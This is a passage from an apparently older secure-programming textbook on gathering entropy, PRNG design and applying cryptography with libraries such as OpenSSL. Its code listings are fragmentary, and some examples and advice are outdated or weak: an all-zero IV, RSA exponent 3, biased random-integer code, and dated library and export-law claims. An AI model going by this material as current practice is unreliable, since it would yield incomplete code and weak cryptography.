estimating entropy, we use something that seems to be far more conservative than the
expected worse case, given our understanding of the source.
252 Chapter 10 Randomness and Determinism
#include <sys/time.h>
#include <unistd.h>
#include <pthread.h>
3. This technique is hard to get right, and thus is not recommended because file caching in the
operating system can greatly reduce the amount of entropy collected.
254 Chapter 10 Randomness and Determinism
sure. Off the cuff, if we were to sample these every second for a minute,
we’d probably estimate no more than 2 bits of entropy, especially on a
machine that is mostly idle. On a machine with a lot of processes, we may
be willing to support more favorable estimates. However, on the whole, we
prefer the thread-timing technique; it ultimately measures a lot of the same
things, and seems to us to be far less prone to attack. Sometimes the oper-
ating system reveals more of its internal state, such as with the /proc file
system. This tends to be a better place to collect entropy.
One good idea is to tune your entropy estimates on a per-machine basis.
Compile statistical tests similar to the ad hoc tests we have provided here,
and then generate entropy estimates per source based on that information. If
this is too much work, then just make sure your estimates stay conservative.
The take home lesson is simple: If you need to generate random numbers to
use in cryptography, make sure you gather sufficient entropy.
Handling Entropy
Now that we’ve learned to gather entropy, and figured out how to estimate
that entropy, we need to determine what to do with the data coming from
our sources.
An entropy handler is an entity responsible for taking an arbitrary
amount of data from entropy sources, along with an estimate of how much
entropy is in that data. It should process the data and then output random
numbers. The difference between an entropy handler and a PRNG is that
an entropy handler outputs bits that are hopefully close to purely entropic,
meaning that the entropy handler probably can’t output random numbers
very quickly at all. Therefore, the outputs of the entropy handler should pri-
marily be used to seed a PRNG. Note that there are some applications when
we need to guarantee that our random numbers really do have as much
entropy as the number of bits. In particular, the one-time pad (Chapter 11)
has this requirement. In such cases, you should also use the entropy handler
outputs directly. Similarly, for generating a set of long-term keys, you may
wish at least to instantiate a new PRNG just for use in generating that key,
and destroy it when you’re done. This way, no other random data are cor-
related to your key. If you want each key to be cryptographically independent,
use raw output from the entropy handler.
The entropy handler obviously doesn’t repeat its inputs as its outputs.
It may get a large amount of data with only a single bit of entropy in it (such
as the output of the ps command). It will probably distill entropy into fixed-
size buffers until it is time to output, to avoid storing lots of unnecessary
information.
A problem is how we add entropy to a buffer. We can XOR new data
into a buffer, but this technique has some disadvantages. The most impor-
tant thing to note is that entropy isn’t additive. If you have a bit with an
entropy of 1, and you XOR it with another bit with an entropy of 1, the
entropy stays at 1, it does not grow to 2. If we have 2 bits with a half bit
of entropy, and we XOR them together, we do not get a full bit of entropy,
although it is only slightly less (approximately 0.9 bits of entropy). To avoid
accidentally combining highly entropic data, we should use a good way of
distributing bits through the buffer (often called a pool in this context) that
is likely to distribute the bits evenly.
256 Chapter 10 Randomness and Determinism
When our entropy handler receives a request for output, it should first
ensure that it has the desired amount of entropy available in a buffer. If so,
then it needs to convert the buffer into output, making sure that there is not
likely to be any discernible pattern in the output. The easiest way to do this
is to hash the buffer with a cryptographic hashing algorithm, and output the
result. Obviously, the buffer should be at least as big as the hash size, and
should generally be a few bytes bigger to make sure our entropy estimates
stay sound.
Once we output the hash results, we should clear the contents of the
buffer, just to make sure that no traces of old outputs are visible in new out-
puts, should the cryptographic hashing algorithm ever be completely broken.
Having a single entropy estimate per buffer does not take into account
the possibility that attackers could be controlling or monitoring one or more
of the input sources. To do this, we should keep separate estimates of how
much entropy we have collected from each source. Then, we should create a
conservative metric for how much data we are willing to output, taking into
account possible source compromise.
Note that we recommend this kind of strategy in all cases, even if you
are using a hardware random number generator. It’s better to be conserva-
tive, just in case the hardware happens to be untrustworthy or broken.
There are plenty of statistical tests that can be applied to random
number generators. They take various forms, but the common thread is
that they all examine streams of data from a generator or entropy handler
statistically, to see if any patterns can be found in the data that would not
be present if the data were truly random. The ComScire hardware random
number generator device performs these tests as you use it, and fails at
runtime if the tests don’t succeed. This is a nice safety measure, but, in
practice, people often make due with only checking the stream up front
before first use, and perhaps on rare occasions to ensure that the generator
is running at full steam.
As we previously mentioned, the FIPS-140 standard [FIPS 190-1]
includes specifications for testing output of random number devices. One of
the more widely recognized test suites for ensuring the randomness of a data
stream is the DIEHARD package by George Marsaglia. It performs numerous
tests on a data stream. Another reasonable package for such tests is pLab.
References for both are available on this book’s companion Web site. What
these tests do or don’t do doesn’t really matter. We just have to trust that
they’re testing the quality of our generator, and listen well if the generator
we are using fails them.
258 Chapter 10 Randomness and Determinism
We’ve said that all statistical tests should fail to find any trends, given
the use of a good cryptographic primitive in the middle. The hash function
inside our entropy handler is no exception. Therefore, we should expect
always to pass such tests when run against such mechanisms. So are statis-
tical tests useful?
We believe that it is worth applying tests to data that are given as input
to an entropy handler. Such tests can dynamically build assurance that we’re
really getting the amount of entropy we should be getting. Unfortunately,
most data reach our entropy handler in a form that is probably highly biased
or correlated, with only a bit of entropy in it. Therefore, these statistical
tests do no good in such cases. Such tests are most useful for testing hard-
ware devices that should be returning data that have no bias. However, even
if the data do have some bias or correlation, this doesn’t make them unusable.
It just means we may need to update our entropy estimates. For example, if
a generator produces fully unbiased and uncorrelated bits, we could poten-
tially estimate 1 bit of entropy per 1 bit of output. If, all of a sudden, the
generator starts outputting ones three quarters of the time, but seems uncor-
related, we could still assign a half bit of entropy to each bit of output (even
though we should probably get suspicious by the sudden change).
We can try to apply statistical tests on our LFSRs. However, we may not
get good results because we haven’t been too careful about removing bias
and correlation before putting data into those buffers. We don’t have to be,
because we expect the hash algorithm to do the job for us.
We can apply different kinds of tests to our data, to approximate
whether we are receiving the amount of entropy that is advertised. However,
such tests would generally be source dependent. One test that often works
well is to run data through a standard compression algorithm. If the data
compresses well, then it probably has a low amount of entropy. If it com-
presses poorly, then it may have a high amount. Good tests of this nature
are sorely needed for common entropy collection techniques. Hopefully, the
research community will develop them in the near future.
Tiny
Earlier in this chapter, we briefly discussed Tiny, which is a PRNG and an
entropy collection algorithm. Tiny is a good example of a conservative
system for generating entropy, as well as cryptographic randomness. The
PRNG is a simple primitive that relies on the security of AES in counter
mode for the security of its output, as well as periodic inputs from the
entropy infrastructure to protect against any possible state compromise.
The entropy infrastructure is necessarily more complex, because we
would like greater assurance about the quality of the entropy that is output.
To protect against sources that are potentially compromised in full or in
part, Tiny may throw away a lot of entropy by requiring that multiple
sources contribute some minimum to the entropy count. The parameters
for that heuristic may be adjusted to be even more conservative. Input from
sources is processed with UMAC [Black, 1999].
Additionally, the entropy gateway further protects against tainted input
sources with a “slow pool.” The theory behind the slow pool is that we
should have data that are reseeded infrequently, using a lot of different
entropy, with the hope that if the regular outputs are compromised, we will
eventually still be able to produce outputs of adequate security. The slow
pool influences the output by providing a seed to a PRNG that is mixed
with the “raw” entropy distilled from the accumulators.
Of course, there can be no guarantee that the entropy gateway produces
output that really does approach a bit of entropy per bit of output. Attacks
may be possible. However, Tiny does its best to protect against all known
attacks, falling back on excellent cryptographic security if there does happen
to be some sort of compromise for which the system does not already allow,
and thus does not detect.
Tiny is far more conservative than the popular alternatives discussed
later, especially in its entropy gathering. Even so, a good array of entropy
sources can still result in a rate of output for raw entropy that is more than
sufficient for typical uses.
The Entropy-Gathering and Distribution System (EGADS) is an
infrastructure for random number generation and entropy output based
on Tiny. In addition to a raw Tiny implementation, it consists of user space
entropy-gathering code that is portable across UNIX variants. There are
260 Chapter 10 Randomness and Determinism
user space libraries for instantiating PRNGs, and raw entropy can be had by
reading from a file. Additionally, there is a version of EGADS for Windows
NT platforms, specifically tailored to the operating system.
#include <stdio.h>
/*
* Return entropy from /dev/random as a number from 0 to 2^32-1
*/
unsigned int entropic_rand_base() {
unsigned int num = 0;
int read_ret = 0;
if(!entropic_inited) init_entropic();
while(!read_ret) read_ret = fread(&num, sizeof(unsigned int), 1,
rand_file);
return num;
}
/*
* Return a cryptographically strong random number from 0 to 2^32-1
262 Chapter 10 Randomness and Determinism
*/
inline unsigned int crypto_rand_base() {
unsigned int num = 0;
int read_ret = 0;
if(!crypto_inited) init_crypto();
while(!read_ret) read_ret = fread(&num, sizeof(unsigned int), 1,
urand_file);
return num;
}
/*
* Return entropy as a number from 0 to 1.
*/
double entropic_rand_real() {
double res;
res = entropic_rand_base() / (double)0xffffffff;
return res;
}
/*
* Return a cryptographically strong random number from 0 to 1.
*/
double crypto_rand_real() {
double res;
res = crypto_rand_base() / (double)0xffffffff;
return res;
}
/*
* Return entropy as a number between 0 and x-1.
*/
unsigned int entropic_rand_int(unsigned int x) {
/* The % x is for the almost impossible situation when
* the generated float is 1 exactly.
*/
return ((unsigned int)(x * entropic_rand_real())) % x;
}
/*
* Return a cryptographically strong random number between 0 and
x-1.
*/
unsigned int crypto_rand_int(unsigned int x) {
/* The % x is for the almost impossible situation when
* the generated float is 1 exactly.
Practical Sources of Randomness 263
*/
return ((unsigned int) (x * crypto_rand_real())) % x;
}
#ifndef BSS_RAND_H__
#define BSS_RAND_H__
double entropic_rand_real();
double crypto_rand_real();
unsigned int entropic_rand_int(unsigned int);
unsigned int crypto_rand_int(unsigned int);
#endif /*BSS_RAND_H__*/
To get around this problem, you may want to use an alternative seeding
mechanism, such as the many we discussed earlier. If you are willing to
capture keyboard events, source code to do this is available in Jonathan
Knudsen’s book, Java Cryptography [Knudsen, 1998].
A brief cryptographic note is in order. The fact that the SHA-1 hash
never gets updated with random information after the initial seeding is a
bit worrisome to us, especially considering the weaknesses of the SHA-1
compression function. If you can use a more trustworthy package (such as
EGADS, mentioned earlier), then we definitely recommend you do so.
If you are looking for raw entropy, such as for a one-time pad, you
may want to avoid Java. From what we can tell, it uses the “Hail Mary”
approach to entropy estimation, hoping that it has gathered enough. If you
do trust that it has gathered a lot (which is probably a reasonable thing to
do), you could seed a generator, read one output, and throw it away.
Unfortunately, this is bound to be seriously time intensive.
Here’s some simple Java code that shuffles Vector using the Secure
Random class, which we provide as an example of how to use SecureRandom:
import java.util.Vector;
import java.security.SecureRandom;
class VectorShuffler {
// This may take a few seconds!
private static SecureRandom rng = new SecureRandom();
int i = v.size();
while(--i != 0) { // We don’t have to run the case where i == 0
Object swap;
int r = get_random_int_in_range(i+1);
swap = v.elementAt(r);
v.setElementAt(v.elementAt(i), r);
v.setElementAt(swap, i);
}
}
}
Conclusion
In general, we recommend you use the best entropy sources available that
can be reasonably integrated with your application. If hardware sources
are feasible, use those. We do not recommend using such sources directly,
because any source can fail. Instead, use as many sources as possible, includ-
ing software sources, and feed them to an entropy infrastructure. For most
applications, you can get a sufficient bandwidth of random numbers by
using only a small amount of entropy and stretching it with a good PRNG,
such as Tiny.
We highly recommend that your entropy infrastructure track how
much entropy it believes is available. We are very uncomfortable with “Hail
Mary” techniques such as the Java SecureRandom implementation in the
Sun JDK. Additionally, a good entropy infrastructure should protect against
tainted data sources to the best of its ability. Again, we recommend Tiny.
Keep your eye out for new randomness functionality built into the next
generation of Intel chips. This is a heartening development. Hopefully the
engineers at Intel spent some time learning how to generate random num-
bers properly, and avoided the pitfalls we discussed earlier.
This page intentionally left blank
Applying Cryptography
11
267
268 Chapter 11 Applying Cryptography
one-time pad, which can provide perfect security if used properly, but gener-
ally should be left out of your applications.
General Recommendations
In this section we make some general experience-based recommendations
on how to deploy cryptography in your applications. All of our recommen-
dations come with the caveat that applied cryptography is tricky and context
sensitive. If you have lots to lose, make sure someone with real cryptography
experience gives you some advice!
There are two aspects to this recommendation. First, you should not
invent your own cryptographic algorithms. Some people place lots of faith
in security by obscurity. They assume that keeping an algorithm secret is as
good as relying on mathematically sound cryptographic strength. We argued
against this at great length in Chapter 5. It is especially true in cryptography.
Writing a cryptographic algorithm is exceptionally difficult and requires an
in-depth study of the field. Even then, people tend not to feel confident
about algorithms until they have seen years of peer review. There is no
advantage against a determined and experienced cryptanalyst in hiding a
bad algorithm.
If you don’t know much of the theory behind cryptography, would you
expect to do any better at designing an algorithm than the best crypto-
graphic minds of World War II? You shouldn’t. Nonetheless, cryptography
as a field has advanced enough since then that all the algorithms used in the
war (except for the one-time pad, which has proven security properties;
discussed later) are considered poor by today’s standards. Every single one
can be easily broken using new cryptanalytic techniques. In fact, most
homegrown algorithms we have seen involve XOR-ing the data with some
constant, and then performing some other slight transformations to the text.
This sort of encryption is almost no better than no encryption at all, and is
easy for a cryptographer to break with a small amount of data. Yet, in every
General Recommendations 269
case, the people who designed the algorithms were sure they did the right
thing, up until the point that the algorithm was broken. In Chapter 5, we
talked about several such breaks.
The best bet is to use a published, well-used algorithm that’s been well
scrutinized by respected cryptographers over a period of at least a few years.
Additionally, you should refrain from designing your own protocols.
Cryptographic protocols tend to be even harder to get right than algorithms,
and tend to be easier to attack. The research literature is full of crypto-
graphic protocols, most of which have been broken. Note that even most
of the “major” protocols have been broken at least once. For example, SSL
version 2 has serious flaws that make it a bad idea to use. Version 1 of the
Secure Shell Protocol (SSH) has been broken several times, and should be
avoided. Microsoft’s Virtual Private Network (VPN) technology, Point-to-
Point Tunneling Protocol has been broken [Schneier, 1998] (of course most
of the concerns have since been addressed).
Designing a robust cryptographic protocol requires even more special-
ized knowledge than designing a robust cryptographic algorithm, because
one needs to understand the cryptographic elements and how they can be
misused. Essentially, you need to have many of the same skills necessary
for designing a secure algorithm, and then some. For example, public key
algorithms are very hard to use safely in a cryptographic protocol, because
their mathematical properties can leave them vulnerable. In the case of RSA,
one does modular exponentiation with the message as the base and the key
as the exponent. If the message is too small, there is no wraparound because
of the modulus, which in turn permits recovery of the key. (Of interest only
for digital signatures, of course, but the point stands.) Indeed, in a paper
entitled, “Twenty Years of Attacks Against the RSA Cryptosystem” [Boneh,
1999], Dan Boneh states:
Although twenty years of research have led to a number of fascinating
attacks, none of them is devastating. They mostly illustrate the dangers of
improper use of RSA. Indeed, securely implementing RSA is a nontrivial
task.
Similar, but more severe problems exist in the Digital Signature Algorithm
(DSA). In March 2001, it was revealed that OpenPGP had misused DSA in
such a way that signing keys could be recovered under certain conditions. Sim-
ilar problems exist in many protocols built around DSA.
Another common problem that comes from a poor understanding of
cryptographic primitives is reusing keys for stream ciphers (or similar block
270 Chapter 11 Applying Cryptography
Data Integrity
One of the biggest fallacies in applying cryptography is the thought that
encryption provides data integrity. This is not true. If you merely encrypt a
data stream, an attacker may change it to his heart’s content. In some cases
this only turns the data into garbage (under the assumption that the attacker
does not know the key, of course). Nonetheless, turning data to garbage
can have a devastating effect if you’re not handling the error condition
sufficiently.
Many people try fixing the problem by sticking a known quantity at the
end of a data stream, or periodically throughout the data stream. This is
insufficient. In electronic code book (ECB) mode (see Appendix A for a brief
overview of cipher modes), each block is independent, thus making the end
quantity irrelevant. In cipher block chaining (CBC) mode, modifications to
the ciphertext don’t necessarily impact the end of the stream. Additionally,
there are often quite usable cut-and-paste attacks against CBC, unless a
keyed MAC such as HMAC (the keyed-Hash Message Authentication
Code) is used.
Stream ciphers and block ciphers in output feedback (OFB), cipher feed-
back (CFB), or counter mode also have bad problems with data integrity.
Generally, plaintext is combined with a stream of pseudo-random data via
an XOR operation. If an attacker knows that a specific section of the cipher-
text decrypts to a specific value, then there is usually an easy way to modify
the data to any same-size value the attacker wishes.
Any time you use encryption, you should use a MAC for message
integrity. Additionally, you must make sure that you gracefully handle those
cases in which a message integrity check fails. Such issues are difficult
enough that it is best to stick with well-scrutinized protocols such as SSL.
For more information about data integrity problems in encryption, see
[Bellovin, 1996] and [Bellovin, 1998].
General Recommendations 271
Export Laws
Traditionally, the United States has been quite hard on strong cryptography,
only allowing free export of things that cryptographers consider weak.
Many developers believe this is still the way the world is. We’re happy to
say that if you’re a resident of the United States, this is not the way things
work anymore.
If you are a free software developer, you are allowed to release software
with strong cryptography in it for use outside the United States. You need to
notify the US government that you are releasing such software, and let them
know where on the Internet it can be found. The preferred way to do this
is by mailing [email protected]. Your mail is logged for the world to
see, and it is forwarded to the proper persons in the government (crypt@
bxa.doc.gov). Note that you cannot deliberately give your software to
someone in a foreign terrorist nation, but you need take no specific counter-
measures to prevent such a person from downloading your code from your
Web site.
If you’re not a free software developer, there are still hoops you must
jump through to export your software. However, we’re told it’s just a matter
of bureaucracy, and not meant to be a serious impediment. Prior to early
2000, it was almost impossible to get permission to export strong cryp-
tography. However, we’re not lawyers, so we cannot tell you with absolute
certainty the procedures you should go through to export commercial
software.
There are some sneaky ways to get past the legal hurdles on strong
cryptography. Some companies do a reasonable job. They don’t export cryp-
tography, so that they don’t have to do the paperwork. Instead, they import
it. They either develop the cryptographic software outside the country, or
get someone outside the country to add cryptography to their software. This
sort of solution is probably not feasible for everybody. A more practical
approach is to design your software to work with no cryptography, but also
to interoperate easily with off-the-shelf, freely available cryptographic pack-
ages (packages that are available to people outside the United States, of
course). People can download the cryptographic package and drop it into
your application themselves. This approach is fairly common, with some
packages even providing detailed instructions regarding how to download
and install the appropriate cryptographic package along with the software
distribution.
272 Chapter 11 Applying Cryptography
Cryptlib
Our personal choice for the best all-around library is Peter Gutmann’s
Cryptlib. This library is robust, well written, and efficient. The biggest
drawback is that it’s only free for noncommercial use, although the com-
mercial prices are quite reasonable. Moreover, Cryptlib is far easier to use
than other libraries. Its interface solves most of the problems with misusing
cryptographic algorithms that we discussed earlier.
. . . because it’s too easy for people to get them wrong (“If RC4 were a
child’s toy, it’d be recalled as too dangerous”). If people want S/MIME they
should use the S/MIME interface, if they want certificates they should use
the cert management interface, for secure sessions use the SSH or SSL inter-
face, for timestamping use the timestamping interface, etc. . . . The major
design philosophy behind the code, is to give users the ability to build
secure apps without needing to spend several years learning crypto. Even
if it only included RSA, 3DES, and SHA-1 (and nothing else) it wouldn’t
make much difference, because the important point is that anybody should
be able to employ them without too much effort, not that you give users a
choice of 400 essentially identical algorithms to play with.
OpenSSL
OpenSSL is probably the most popular choice of the freely available
encryption libraries. It was originally written by Eric A. Young and was
called SSLeay. This is a solid package that also provides encrypted sockets
through SSL. Its biggest drawback is a serious lack of documentation.
Target language. OpenSSL’s primary API is for the C programming
language. However, the OpenSSL package comes with a command-
line program that allows developers to perform a wide variety of
encryption operations through shell scripts. This makes OpenSSL
something that can be used with relative ease from most program-
ming languages. There are also good bindings for OpenSSL to other
programming languages, such as the amkCrypt package for Python
(http://www.amk.ca/python/code/crypto.html).
Symmetric algorithms. OpenSSL implements a standard set of
important symmetric algorithms, including Blowfish, Triple DES,
IDEA, RC4, and RC5. The next major version is expected to
support AES.
Hash algorithms. OpenSSL implements a common set of hash
functions, including SHA-1, RIPEMD-160, and MD5. Like most
libraries, OpenSSL doesn’t yet implement the new SHA algorithms
(SHA-256, SHA-384, and SHA-512).
MACs. OpenSSL implements HMAC for all its supported hash
algorithms.
Public key algorithms. OpenSSL implements RSA, Diffie-Hellman,
and the DSA signature algorithm.
Common Cryptographic Libraries 275
Quality and efficiency. OpenSSL is good, but a bit messy under the
hood. Like Cryptlib, there is some hand-tuned assembly on key plat-
forms. However, the user-level code tends not to be as efficient as
that of Cryptlib. OpenSSL is probably not the best suited for embed-
ded environments (or other situations in which you are memory
constrained) because the library has a fairly large footprint. It’s fairly
difficult, but not impossible, to carve out only the pieces needed on a
particular project. The library can be reentrant if used properly, with
some exceptions.
Documentation. OpenSSL has a limited amount of manpage-style
documentation. Many algorithms are currently undocumented, and
several interfaces are poorly documented. This situation has been
improving over time, but slowly.
Ease of use. The standard interfaces are somewhat complex, but
the EVP (“envelope”) interface makes programming fairly straight-
forward. Unfortunately, the internals have some organizational
issues that can impact ease of use. For example, OpenSSL is not
thread safe, unless you set two callbacks. If you naively try to use
standard interfaces in a threaded application, then your code will
probably crash.
Extras. OpenSSL provides a full-featured SSL implementation.
However, the SSL implementation is quite complex to use properly.
When possible, we recommend using an external wrapper around
OpenSSL, such as Stunnel (discussed later).
Cost. OpenSSL is distributed under a free software license.
Availability. OpenSSL is freely available from http://www.
openssl.org.
Crypto++
Crypto++ is a library that takes pride in completeness. Every significant
cryptographic algorithm is here. However, there is no documentation
whatsoever.
Target language. Crypto++ is a C++ library that takes full advantage
of C++ features. One issue here is that many compilers are not able
to build this library. For example, if using gcc, you need version 2.95
or higher.
276 Chapter 11 Applying Cryptography
BSAFE
The BSAFE library is from RSA Security, the people who developed the
RSA encryption algorithm, the MD5 message digest algorithm, and the sym-
metric ciphers RC4, RC5, and RC6. This library is perhaps the most widely
deployed commercial library available, mainly because of people buying it
so that they could have legitimate use of algorithms created by RSA.
Cost. RSA did not answer our requests for pricing information.
Consequently, we asked several people who have been interested in
using BSAFE. According to those sources, RSA asks for a fraction of
revenue generated by products that use BSAFE. We have heard that
they aim for 6%, but some people have successfully gotten them to
settle for as little as 3%. Your best chance at getting definitive
information is by contacting RSA yourself.
278 Chapter 11 Applying Cryptography
Cryptix
Cryptix is a popular open-source cryptography package for Java. It is quite
full-featured, but is notoriously difficult to use. Part of this is because of the
lack of documentation. Also at fault is probably the Java Crypto API, which
is significantly more complex than it could be.
Target language. Cryptix is a Java library. There is an old version of
the library available for Perl, but it is currently unsupported.
Symmetric algorithms. Cryptix provides a solid array of symmetric
algorithms, including AES.
Hash algorithms. Cryptix currently provides a reasonable set of
hash algorithms, including MD5, SHA-1, and RIPEMD-160. It does
not currently support the new family of SHA functions.
MACs. Cryptix provides an implementation of HMAC.
Public key algorithms. Cryptix implements all common public key
algorithms, including RSA, Diffie-Hellman, and DSA. El Gamal is
only available in their JCE (Java Cryptography Extension) package,
which is currently only available in prerelease.
Quality and efficiency. Although a well-designed library, Cryptix
isn’t well-known for its speed. A significant factor here is that
Cryptix is implemented solely in Java. Public key operations are
particularly painful. If speed is a factor, but Java is a requirement
for your application as a whole, you may wish to build a JNI (Java
Noting Interface) wrapper for a good C-based library, or look for
commercial solutions (such as BSAFE). Note that a JNI wrapper
does require you to build a different version for each platform.
Documentation. Cryptix comes with full documentation of the API
generated from JavaDOC. This strategy is good once a programmer
is familiar with the API, but the documentation is quite inadequate
for most programmers who have never used the library.
Ease of use. The lack of documentation and the overall complexity
of the Java Crypto API make Cryptix fairly difficult to implement.
Programming with Cryptography 279
One of the authors (Viega) has had students use Cryptix in Java-
based projects. Not only are there incessant complaints about the
documentation, but also approximately half the students fail to get
public key cryptography working without significant help.
Extras. Cryptix doesn’t provide much in addition to basic crypto-
graphic primitives. Several extensions are being developed, though,
including a library for ECC.
Cost. Cryptix is free software. The authors only ask that copyright
notices be perpetuated.
Availability. Cryptix is available from its Web site http://www.
cryptix.com.
Other libraries worth mentioning are commercial products from
Baltimore and Network Associates (the PGPsdk). Both, by all reports,
produce quite excellent products. Although PGPsdk is quite impressive,
most notably from an efficiency standpoint, its pricing structure is unrea-
sonable—a significant percentage of all revenue made by products using
their library. We have no personal experience with Baltimore’s products.
Encryption
The following is a simple program using OpenSSL that creates a symmetric
key, encrypts a fixed message with that key, then decrypts the message. Let’s
dissect the program, starting at its entry point:
#include <openssl/evp.h>
#include <stdio.h>
cipher = EVP_bf_cbc();
initialize_key(key);
fprint_key(stdout, key, EVP_CIPHER_key_length(cipher));
time. Even encrypting a single message one time is never a single call. A
context encapsulates all of the state that needs to be passed between calls.
The notion of a context allows us to start encrypting a second stream of
data before we have finished encrypting the first. The context encapsulates
the state of what is conceptually an encryption object.
The EVP_CIPHER type encapsulates information about the cipher we
want to use. When we instantiate a value of this type, we specify the cipher
we want to use and the mode in which we wish to use it. For this example,
we use Blowfish in CBC mode, specified by the function EVP_bf_cbc().
When we set the cipher variable, we’re not actually telling the OpenSSL
library to use Blowfish. We tell the cipher context to use Blowfish shortly.
There are many ciphers at our disposal, as listed in Table 11–1.
Now we need to initialize the encryption context. To do this we must
say which algorithm we wish to use and pass it an initialization vector (IV).
The IV can be public information. It’s essential that you give the same IV
to the decryption context that was given to the context used to encrypt the
message. A good recommendation is to use data from a PRNG as an IV.
An easy solution is to use the last block of ciphertext from the previous
message. Nonetheless, to keep our examples simple, let’s use an IV that is
all zeros.1 Notice that our IV is declared to be large enough to accommodate
any cipher in the OpenSSL library. In some circumstances, you can get away
with setting the IV to null, but we recommend against it.
When initializing the context, we must also specify the key to be used
for encryption. In this application, we generate a random key by reading a
sufficient number of bytes from /dev/random. This strategy only works on
Linux systems. See Chapter 10 for more information on generating high-
quality key material.
Note that when initializing the key, we initialize enough key material
to handle any cipher. Also note that when using DES and its variants,
several of the bits are designed to be parity bits to ensure key integrity. By
default, OpenSSL (as well as many other libraries) ignores these bits,
making them meaningless. For this reason, reading random bytes into
the key is acceptable.
To initialize the context, we call EVP_EncryptInit(). This function
takes a pointer to the context object to initialize, the cipher to use, the key
(an unsigned char *), and the IV (also an unsigned char *).
1. Many argue that because IVs are public, they aren’t very security relevant. However, they
can be quite useful in thwarting dictionary-style attacks.
Programming with Cryptography 283
2. OpenSSL currently provides no mechanism for turning off padding. If your data are
properly block aligned, you can “forget” to call EVP_EncryptFinal() to forgo padding.
The decrypting entity needs to skip the call to EVP_DecryptFinal() as well.
286 Chapter 11 Applying Cryptography
Hashing
Performing hashing is easy in OpenSSL using the EVP interface. Much as
is the case with encryption, there’s a context object when hashing. You can
continually add data to a running hash. The reported value is not calculated
until all data have been added.
We initialize a hashing context of type EVP_MD_CTX by calling EVP_
DigestInit(). This function takes only two parameters: a pointer to the
context and the algorithm to use. Table 11–2 presents the algorithms that
are available:
#include <openssl/evp.h>
#include <stdio.h>
EVP_DigestInit(&ctx, EVP_sha1());
EVP_DigestUpdate(&ctx, msg, strlen(msg));
EVP_DigestFinal(&ctx, result, &mdlen);
fprintf(stdout, "Digest of:\n\t'%s'\nis:\n\t", msg);
fprint_string_as_hex(stdout, result, mdlen);
fprintf(stdout, "\n");
return 0;
}
nearly as well documented. The following code listing is the subject of our
discussion for this section:
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <openssl/rsa.h>
#include <stdio.h>
#define SEED_LENGTH 32
#define PUBLIC_EXPONENT 3
#define KEYLEN 1024
#define NPUB 2
void init_prng() {
FILE *rng;
unsigned char rngseed[SEED_LENGTH];
int num;
kpair = EVP_PKEY_new();
EVP_PKEY_set1_RSA(kpair, rsa_kpair);
Programming with Cryptography 289
if(RSA_check_key(kpair->pkey.rsa)<1) {
fprintf(stderr, "We didn’t generate a valid keypair.\n");
exit(-2);
}
return kpair;
}
init_prng();
for(i=0;i<NPUB;i++) {
keys[i] = new_keypair(KEYLEN);
l = EVP_PKEY_size(keys[i]);
ek[i] = (unsigned char *)malloc(l);
}
signkey = new_keypair(KEYLEN);
sig = (unsigned char *)malloc(EVP_PKEY_size(signkey));
return 0;
}
3. The notion of “Sealing” is supposed to be likened to sealing an envelope. Here, the public
key encryption is an envelope around the actual data stream.
Programming with Cryptography 291
same thing at this point; the public key cryptography has already been
performed.
When it comes time to simulate the receiver and decrypt all these
messages, we use the EVP Open interface. We must use this interface once
for each user receiving enveloped data. EVP_OpenInit is responsible for
initializing the symmetric encryption context. This includes retrieving the
proper symmetric key, which was public key encrypted. When we’ve called
EVP_OpenInit, we can then call EVP_OpenUpdate and EVP_OpenFinal, just
as if they were EVP_DecryptUpdate and EVP_DecryptFinal (they are doing
the same thing at that point).
EVP_OpenInit takes a pointer to a symmetric encryption context,
the symmetric algorithm used to encrypt the data, the encrypted symmet-
ric key for the intended recipient, the length of the encrypted symmetric
key, the IV, and the RSA key pair that should be used to decrypt the ses-
sion key.
Between the encryption and the decryption, we digitally sign the data
using a third RSA key pair. The way digital signatures work is by private
key encrypting a hash of the data to be signed. Anyone with the public key
can validate who encrypted the hash. The signing process is done with
the EVP Sign interface. EVP_SignInit and EVP_SignUpdate work just
like EVP_DigestInit and EVP_DigestUpdate, taking the exact same
parameters. When the data for the hash have been read in, we need to gen-
erate a signature, not a hash. The EVP_SignFinal method takes a pointer to
the digest context being used to sign, a buffer into which the signature
should be placed, a pointer to the integer that holds the signature’s length,
and the key pair to use when signing the digest. To calculate the maximum
length of the signature in bytes, we call EVP_PKEY_size, passing in the key
pair that is used for signing.
Before validating the signature, we remove all of the private information
from the key. You need to go through these steps any time you want to distrib-
ute a public key in this format. The function that removes this information
is lobotomize_key().
The process for verifying a signature is similar to creating it. EVP_
VerifyInit and EVP_VerifyUpdate calculate a hash, and work just like the
corresponding methods in the EVP Digest interface. The EVP_VerifyFinal
method takes a pointer to the digest context, the signature to verify, the
length of that signature, and the public key of the person we think generated
the signature. This call returns a positive integer if the signature corresponds
to the key and the data.
Programming with Cryptography 293
Threading
OpenSSL doesn’t work with multithreaded programs out of the box. You
need to provide two calls to help the OpenSSL API; otherwise, your programs
will probably crash. Unfortunately, writing these calls is quite complex. The
OpenSSL library comes with working example code for Windows, Solaris,
and Pthreads (which is found on most Linux systems). The example code is
in crypto/threads/mttest.c, and is quite involved. We recommend using
their code with as few modifications as possible if you need to use OpenSSL
in a multithreaded environment.
Cookie Encryption
In Chapter 12 we discuss the need for protecting data stored in cookies.
We say that the best way to protect such data is to encrypt the cookies, or
to protect them with a MAC. Let’s say that we have a string we’d like to
keep on a user’s browser in a form that can’t be read. Let’s keep a symmetric
key on the server that we use to encrypt the cookie before placing it in the
client browser. When we retrieve the cookie, we decrypt it.
We’d also like to be able to detect when the user has tampered with
the cookie. The best strategy is to use two cookies. The first is an encrypted
version of our string. The second is a MAC, which serves as a secure check-
sum for the encrypted string.
Cookies are implemented by writing out MIME headers in an HTTP
response. To send our cookie in plaintext, we would add the header
Set-Cookie: my_string=our_string_here;path=/;expires=Thursday,
04-Jan-01 3:23:23 GMT
The next time the user hits a file on our server under the specified path
(in this case, any file), we receive the following in the request (assuming
cookies are turned on in the browser):
Cookie: mystring=our_string_here
One problem with encrypting cookies is that we’re quite limited in the
character set that can go into them, but encryption output is always binary.
The MAC output has similar issues. We need to be able to encode binary
data in such a way that we can place the result in a cookie.
A good way to do this is to use base64 encoding. This encoding scheme
takes binary data and encodes them as printable ASCII. The 64 principal
characters are the uppercase and lowercase letters, the digits, the forward
294 Chapter 11 Applying Cryptography
slash and the plus sign. The equal sign is used for padding. We provide a
base64 library on this book’s companion Web site.
Using that library, we can easily compose a proper header:
We still need to compute a MAC, so that we can easily detect when the
